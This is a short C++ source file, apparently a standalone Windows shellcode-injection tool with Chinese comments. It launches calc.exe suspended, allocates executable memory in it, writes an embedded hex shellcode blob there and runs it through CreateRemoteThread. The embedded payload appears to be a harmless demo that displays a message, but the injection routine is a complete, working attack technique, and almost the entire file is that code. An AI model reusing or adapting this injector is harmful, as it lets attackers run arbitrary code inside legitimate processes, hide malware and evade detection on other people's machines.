// C++Injector.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";


BOOL injection()
{
	wchar_t Cappname[MAX_PATH] = { 0 };
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	LPVOID lpMalwareBaseAddr;
	LPVOID lpnewVictimBaseAddr;
	HANDLE hThread;
	DWORD dwExitCode;
	BOOL bRet = FALSE;

	lpMalwareBaseAddr = shellcode;

	//获取计算器的地址，接下来将启动一个计算器
	GetSystemDirectory(Cappname, MAX_PATH);
	_tcscat(Cappname, L"\\calc.exe");
	printf("Injection program Name:%S\r\n", Cappname);

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	//创建计算器
	if (CreateProcess(Cappname, NULL, NULL, NULL,
		FALSE, CREATE_SUSPENDED
		, NULL, NULL, &si, &pi) == 0)
	{
		return bRet;
	}

	//开辟内存空间大小
	lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
		, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);

	if (lpnewVictimBaseAddr == NULL)
	{
		return bRet;
	}

	//将SHELLCODE写入
	WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
		(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

	//创建线程
	hThread = CreateRemoteThread(pi.hProcess, 0, 0,
		(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

	//等待结束进程
	WaitForSingleObject(pi.hThread, INFINITE);
	GetExitCodeProcess(pi.hProcess, &dwExitCode);
	TerminateProcess(pi.hProcess, 0);
	return bRet;
}

void help(char* proc)
{
	printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
}

int main(int argc, char* argv[])
{
	help(argv[0]);
	injection();
}